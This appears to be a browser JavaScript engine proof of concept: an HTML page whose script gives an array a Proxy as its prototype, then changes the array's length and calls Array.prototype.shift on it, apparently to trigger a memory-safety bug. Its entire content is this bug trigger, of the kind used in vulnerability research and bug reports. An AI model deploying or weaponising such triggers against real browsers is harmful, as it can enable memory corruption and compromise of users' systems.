|
|
<html><body><script>
|
| var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);
|
| var handler = {
| getPrototypeOf: function(target, name){
| // print("get proto");
| return a;
| }
| };
|
| var p = new Proxy([], handler);
| var b = [{}, [], "natalie"];
|
| b.__proto__ = p;
| b.length = 4;
|
| a.shift.call(b);
| print(a.shift.call(b[2]));
|
| </script></body></html>
|
|